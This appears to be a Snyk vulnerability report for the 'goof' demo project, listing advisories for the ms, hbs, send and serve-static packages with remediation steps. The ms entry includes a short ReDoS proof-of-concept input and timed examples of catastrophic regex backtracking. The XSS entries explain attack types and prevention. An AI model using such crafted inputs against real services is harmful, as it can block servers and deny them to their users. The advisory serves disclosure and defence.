Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › humanize-ms@1.0.1 › ms@0.6.2Remediation: Upgrade to humanize-ms@1.2.1.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › ms@0.7.3Remediation: Upgrade to ms@2.0.0.
Overview
ms
is a tiny millisecond conversion utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an incomplete fix for previously reported vulnerability npm:ms:20151024. The fix limited the length of accepted input string to 10,000 characters, and turned to be insufficient making it possible to block the event loop for 0.3 seconds (on a typical laptop) with a specially crafted string passed to ms()
function.
Proof of concept
ms = require('ms');
ms('1'.repeat(9998) + 'Q') // Takes about ~0.3s
Note: Snyk's patch for this vulnerability limits input length to 100 characters. This new limit was deemed to be a breaking change by the author. Based on user feedback, we believe the risk of breakage is very low, while the value to your security is much greater, and therefore opted to still capture this change in a patch for earlier versions as well. Whenever patching security issues, we always suggest to run tests on your code to validate that nothing has been broken.
For more information on Regular Expression Denial of Service (ReDoS)
attacks, go to our blog.
Disclosure Timeline
- Feb 9th, 2017 - Reported the issue to package owner.
- Feb 11th, 2017 - Issue acknowledged by package owner.
- April 12th, 2017 - Fix PR opened by Snyk Security Team.
- May 15th, 2017 - Vulnerability published.
- May 16th, 2017 - Issue fixed and version
2.0.0
released. - May 21th, 2017 - Patches released for versions
>=0.7.1, <=1.0.0
.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ms
to version 2.0.0 or higher.
References
low severity
- Vulnerable module: hbs
- Introduced through: hbs@4.2.0
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › hbs@4.2.0
Overview
hbs is an Express.js template engine plugin for Handlebars
Affected versions of this package are vulnerable to Information Exposure. hbs
mixes pure template data with engine configuration options through the Express
render API. By overwriting internal configuration options a file disclosure vulnerability may be triggered in downstream applications.
Remediation
There is no fixed version for hbs
.
References
low severity
- Vulnerable module: send
- Introduced through: express@4.12.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › send@0.12.3Remediation: Upgrade to express@4.20.0.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › serve-static@1.9.3 › send@0.12.3Remediation: Upgrade to express@4.21.0.
Overview
send is a Better streaming static file server with Range and conditional-GET support
Affected versions of this package are vulnerable to Cross-site Scripting due to improper user input sanitization passed to the SendStream.redirect()
function, which executes untrusted code. An attacker can execute arbitrary code by manipulating the input parameters to this method.
Note:
Exploiting this vulnerability requires the following:
The attacker needs to control the input to
response.redirect()
Express MUST NOT redirect before the template appears
The browser MUST NOT complete redirection before
The user MUST click on the link in the template
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade send
to version 0.19.0, 1.1.0 or higher.
References
low severity
- Vulnerable module: serve-static
- Introduced through: express@4.12.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › serve-static@1.9.3Remediation: Upgrade to express@4.20.0.
Overview
serve-static is a server.
Affected versions of this package are vulnerable to Cross-site Scripting due to improper sanitization of user input in the redirect
function. An attacker can manipulate the redirection process by injecting malicious code into the input.
Note
To exploit this vulnerability, the following conditions are required:
The attacker should be able to control the input to
response.redirect()
express must not redirect before the template appears
the browser must not complete redirection before:
the user must click on the link in the template
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade serve-static
to version 1.16.0, 2.1.0 or higher.